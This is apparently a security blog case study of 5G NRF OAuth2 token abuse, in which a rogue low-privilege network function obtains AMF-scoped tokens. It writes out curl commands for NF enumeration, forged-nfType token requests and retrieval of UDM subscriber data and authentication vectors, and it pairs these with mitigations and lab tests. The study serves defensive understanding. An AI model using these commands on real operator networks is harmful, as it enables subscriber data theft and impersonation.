What is 5G NRF OAuth2 token abuse?

It is an attack where a network function replays or forges an NRF-issued OAuth2 token that is not bound to an NF Instance ID, letting the attacker impersonate a trusted NF like AMF or UDM.

Bind each OAuth2 access token to the caller NF Instance ID and validate the token audience and subject on every Service Based Interface request.

TL;DR

AI-quotable TLDR: attackers abuse OAuth2 tokens issued by the 5G NRF to impersonate network functions and pivot laterally across the SBA.

KEY FACTS

NRF OAuth2 tokens without NF Instance ID binding allow impersonation across the 5G core.
A rogue NF can assume AMF/UDM identity and exfiltrate subscriber data over SBI.
Mitigation: bind tokens to NF Instance ID and validate audience/subject per request.

FAQ

The Network Repository Function (NRF) is the single authorization anchor of the 5G Service Based Architecture (SBA). Every Network Function — AMF, SMF, UDM, AUSF, PCF — registers itself with the NRF and requests OAuth2 access tokens before it is allowed to call another NF's Service Based Interface (SBI). This centralizes trust in a way SS7 and Diameter never could — but it also means a single authorization defect in the NRF's token issuance logic can cascade into full-core compromise.

This case study dissects a specific and recurring class of that defect: NRF token issuance that fails to bind the requesting NF's client certificate to its registered NF Instance ID and NF type. Where that binding is missing, a compromised or rogue low-privilege NF — an Application Function, a Charging Function, even a mis-scoped test NF — can request an access token that simply claims to be an AMF or UDM, and the NRF issues it anyway. For deeper background on the SBA threat model this attack sits inside, see our analysis of SBA-wide vulnerabilities covering BOLA, mass assignment, and NRF poisoning.

Classified OPS-ATK-009, CVSS 8.8 (HIGH). This attack exploits a gap between NRF NF registration and NRF token issuance: the certificate that proves an NF's identity at registration time is not cryptographically re-verified against the nfType claim at token request time. A rogue NF that can obtain any valid client certificate accepted by the NRF can request tokens scoped to nfType: AMF or nfType: UDM, then present those tokens directly to Nudm_SubscriberDataManagement and Nudm_UEAuthentication APIs.

I. NRF-Centric Authorization in the 5G SBA

The 5G SBA replaced bilateral point-to-point trust (the model SS7 and Diameter both used) with a centralized OAuth2 client-credentials flow. Every NF Consumer that wants to call an NF Producer's SBI must first obtain a bearer token from the NRF, scoped to the producer's service and NF type.

Step	Actor	Action
1	NF Consumer (e.g., SMF)	Registers with NRF, presenting an X.509 client certificate
2	NRF	Stores NF profile: `nfInstanceId`, `nfType`, service list, bound certificate
3	NF Consumer	`POST /oauth2/token` with `nfInstanceId`, `nfType`, `targetNfType`, `scope`
4	NRF	Should validate cert CN matches `nfInstanceId`, and `nfType` matches the registered profile
5	NRF	Issues bearer token carrying `nfInstanceId`, `nfType`, `scope`
6	NF Consumer	Presents token to the target NF's SBI (e.g., `Nudm_SubscriberDataManagement`)

The security of the entire model hinges on step 4. If the NRF only checks that a valid certificate was presented — without cross-referencing that specific certificate against the nfInstanceId and nfType in the request — the token issuance endpoint becomes a self-service privilege escalation counter. A Charging Function can walk up and ask for an AMF-scoped token, and if nothing stops it, the NRF hands one over.

NF registration and NF token issuance are often implemented as separate code paths by different teams — registration validates the certificate against the *registry*, token issuance validates the certificate against *TLS termination only*. Functional testing rarely exercises "NF A requests a token claiming to be NF B," because it isn't part of the happy-path conformance suite. It surfaces almost exclusively in adversarial testing.

II. Reconnaissance: NRF and NF Profile Enumeration

Because NRF discovery is a standardized, unauthenticated (or lightly authenticated) API by design — any NF needs to be able to find its peers — an attacker positioned with any valid NRF client credential can enumerate the entire NF topology before touching the token endpoint.

<CodeBlock language="bash" is-terminal code="# 3GPP TS 29.510 §6.1.1 - NRF OIDC discovery endpoint curl -k https://nrf.5gc.mnc007.mcc262.3gppnetwork.org/.well-known/openid-configuration

{

'issuer': 'https://nrf.5gc.mnc007.mcc262.3gppnetwork.org',

'token_endpoint': '.../oauth2/token',

'jwks_uri': '.../oauth2/jwks',

'grant_types_supported': 'client_credentials'

}

NF instance enumeration (nnrf-nfm API) - reveals every registered NF

curl -k https://nrf.5gc.mnc007.mcc262.3gppnetwork.org/nnrf-nfm/v1/nf-instances
-H 'Authorization: Bearer '

Response includes nfInstanceId + nfType for AMF, SMF, UDM, AUSF, PCF, CHF, AF"

The response gives the attacker exactly what the next stage needs: which NF types exist, their instance UUIDs, and which SBI service names (nudm-sdm, nudm-uecm, nudm-ueau) are worth targeting.

III. Exploitation: Requesting an Elevated NF-Type Token

The attacker never compromises an actual AMF. They only need *any* NF identity the NRF will register — commonly an Application Function (AF), since AFs are the SBA's intentional external-facing integration point and have the loosest registration requirements. From that low-trust starting point, the entire escalation happens purely at the token-issuance layer.

Step 1 — Register as a low-privilege NF. A rogue AF (or a compromised CHF) registers normally with the NRF, obtaining a valid nfInstanceId and client certificate pair recognized by the registry.

Step 2 — Request a token with an elevated nfType claim. Instead of requesting a token scoped to its own registered type, the NF requests one claiming nfType=AMF:

<CodeBlock language="bash" is-terminal code="curl -k -X POST https://nrf.5gc.mnc007.mcc262.3gppnetwork.org/oauth2/token
--cert rogue-af-cert.pem --key rogue-af-key.pem
-d 'grant_type=client_credentials'
-d 'nfInstanceId='
-d 'nfType=AMF'
-d 'targetNfType=UDM'
-d 'scope=nudm-sdm nudm-uecm'

Vulnerable NRF response (no nfInstanceId-to-cert binding enforced):

{

'access_token': 'eyJhbGciOiJSUzI1NiJ9...',

'token_type': 'Bearer',

'expires_in': 3600,

'scope': 'nudm-sdm nudm-uecm',

'nfInstanceId': '',

'nfType': 'AMF'

}"

A correctly implemented NRF rejects this at step 4 of the flow above with a 403 — the certificate presented belongs to a registered AF, not the AMF instance being claimed. A defective NRF issues the token anyway, because it only verified that some trusted certificate was presented over mTLS.

Step 3 — Call UDM subscriber data APIs with the forged token. The forged AMF-scoped token is now valid at face value to any producer NF that trusts NRF-issued tokens without independently re-verifying the presenter's identity:

<CodeBlock language="bash" is-terminal code="curl -k https://udm.5gc.mnc007.mcc262.3gppnetwork.org/nudm-sdm/v2/imsi-262071234567890/nssai
-H 'Authorization: Bearer '

{

'singleNssai': {'sst': 1, 'sd': '000001'}, {'sst': 2, 'sd': '000002'},

'gpsi': 'msisdn-+49176XXXXXXXX',

'supi': 'imsi-262071234567890',

'smfSelectionData': { ... }

}"

From here the attacker isn't limited to a single record. The same token grants access to nudm-sdm/{supi}/am-data (mobility subscription), nudm-uecm/{supi}/registrations (current serving AMF — a location primitive), and, most seriously, nudm-ueau — the endpoint that returns 5G-AKA authentication vectors:

<CodeBlock language="bash" is-terminal code="curl -k -X POST
https://udm.5gc.mnc007.mcc262.3gppnetwork.org/nudm-ueau/v1/imsi-262071234567890/security-information/generate-auth-data
-H 'Authorization: Bearer '
-d '{"servingNetworkName": "5G:mnc007.mcc262.3gppnetwork.org"}'

{ 'authType': '5G_AKA', '5gAuthData': { 'rand': '...', 'hxresStar': '...', 'autn': '...', 'xresStar': '...' } }"

With a valid xresStar in hand, a rogue AMF can complete a full 5G-AKA challenge-response exchange while impersonating the legitimate serving network — the equivalent, in SBA terms, of stealing an authentication vector off an SS7 SendAuthenticationInfo response.

IV. Impact: Lateral Movement Across the Core

A single NRF token-binding gap converts into full-core exposure, because the token is trusted transitively by every producer NF:

Exposure	API Surface	Consequence
Subscriber profile & slice data	`Nudm_SubscriberDataManagement`	Full subscription record disclosure
Serving AMF / registration state	`Nudm_UEContextManagement`	Location intelligence per subscriber
Authentication vectors	`Nudm_UEAuthentication`	Subscriber impersonation via forged 5G-AKA
PDU session parameters	`Nsmf_PDUSession`	Session modification, forced detach
QoS / charging policy	`Npcf_PolicyAuthorization`	Policy bypass, unauthorized slice access

Because the NRF is the *sole* authorization point for the entire SBA, this is not "one NF compromised" — it's "the trust boundary between all NF types collapsed." Any NF that can register (including intentionally low-trust, externally-facing NFs like the AF) becomes a master key for UDM, AMF, and AUSF-scoped operations simultaneously.

Industry Precedent: OAI-CN5G NRF Token Binding Flaw (2022)

Security researchers analyzing the OpenAirInterface 5G core (OAI-CN5G) — an open-source reference implementation widely used for both labs and early commercial deployments — documented that its NRF issued access tokens without validating NF Instance ID binding. The NRF confirmed the requesting client held a valid TLS certificate, but did not check that the certificate's CN matched the claimed nfInstanceId, nor that the requested nfType matched the NF's registered type. Any registered NF, including externally-registered Application Functions, could obtain AMF-, SMF-, or UDM-scoped tokens. The defect was fixed in OAI-CN5G v1.4.0 by adding certificate-to-instance binding and NF-type scope validation at the token endpoint — the exact control described below.

MITRE FiGHT Mapping

TTP ID	Name	Maps To
FGT5072	NRF Token Abuse	Access token issued with elevated NF type claim
FGT5072.001	NF Discovery Impersonation	Forged token presented to UDM/AMF SBI as rogue NF type

V. Defensive Architecture

Two controls close this gap completely, and 3GPP TS 33.501 §13.3.4 already anticipates both:

Certificate-bound access tokens (RFC 8705 mTLS). The NRF must embed a cnf (confirmation) claim in every issued token, containing the SHA-256 thumbprint of the client certificate used in the token request itself. Every producer NF must then verify, on each API call, that the presenting client's certificate thumbprint matches the token's cnf claim. A forged token presented from a different certificate — even a technically "valid" one — fails immediately.
Strict NF-type scope validation at issuance. The NRF must reject any token request where the requested nfType doesn't match the NF's registered type for that nfInstanceId, and must reject any request where the certificate CN doesn't match the registered instance. This turns token issuance into a positive-match lookup against the registry rather than a bare "was TLS successful" check.

{
  "iss": "https://nrf.5gc.mnc007.mcc262.3gppnetwork.org",
  "sub": "<nfInstanceId>",
  "nfType": "SMF",
  "scope": "nudm-sdm",
  "cnf": { "x5t#S256": "<SHA-256 thumbprint of client cert>" },
  "exp": 1750000000
}

# NRF token issuance validation (pseudo-code)
def issue_token(request, client_cert):
    registered = nrf_registry.get(request.nfInstanceId)
    if not cert_matches(client_cert, registered.certificate):
        raise TokenError(401, "Certificate mismatch for nfInstanceId")
    if request.nfType != registered.nfType:
        raise TokenError(403, "Requested nfType does not match registered type")
    return issue_bound_token(request.nfInstanceId, request.nfType, client_cert)

For roaming deployments, the same discipline must extend across the SEPP N32 boundary: a receiving SEPP should re-validate that a forwarded token's nfType claim is actually registered by the originating PLMN before passing it to an internal NF — otherwise a token forged in one operator's core can be laundered through roaming into another's.

Verification Checklist (Authorized Lab Assessment)

<CodeBlock language="bash" is-terminal code="# Test 1: Token request with nfType mismatch (AF requesting AMF token)

Expected: NRF returns 403 Forbidden; token NOT issued

Test 2: Token request with certificate CN mismatch for nfInstanceId

Expected: NRF returns 401 Unauthorized; token NOT issued

Test 3: Valid SMF requesting UDM-scoped token with correct scope

Expected: Token issued with cnf thumbprint; UDM accepts matching cert

Test 4: Stolen/replayed token presented from a different certificate

Expected: Producer NF detects cnf thumbprint mismatch; 401 returned"

VI. Frequently Asked Questions

No, though they compound each other. NRF poisoning (covered in our SBA vulnerabilities analysis) is about registering a rogue NF instance so legitimate traffic gets routed to it. NRF token abuse is about a registered NF obtaining an access token for a privilege level it doesn't actually hold. A poisoned NRF makes token abuse easier to weaponize, but the token-binding gap is independently exploitable even without poisoning the registry.

It does check the claims — that's exactly the problem. The token says nfType: AMF because the NRF put that claim there. Without a certificate-bound (cnf) token, the producer NF has no independent way to verify that the entity presenting the token is actually the certificate holder the NRF issued it to. The producer is trusting the NRF's word, and the NRF's word was never validated against the requester's real identity.

The documented public case is OAI-CN5G, because open-source code is auditable. The underlying defect class — separating registration-time certificate validation from token-issuance-time validation — is an implementation choice, not something unique to open-source. Any NRF implementation that doesn't explicitly perform the certificate-to-instance-ID binding check at the token endpoint is exposed regardless of vendor.

3GPP TS 33.501 §13.3.4 references OAuth2 and permits certificate-bound access tokens as a security enhancement, but the base specification does not mandate RFC 8705 binding for all deployments — which is precisely why implementations vary and why this gap keeps recurring across different NRF products. GSMA and operator security baselines increasingly treat cnf-bound tokens as a requirement for production 5G SA cores.

No. This is an authorization-logic flaw, not a volumetric one — the rogue NF only needs a single successful token request. Rate limiting can slow enumeration during reconnaissance, but it does nothing to stop a correctly-formed, single token request that the NRF was willing to issue. The fix has to live in the NRF's token-issuance validation path itself.

{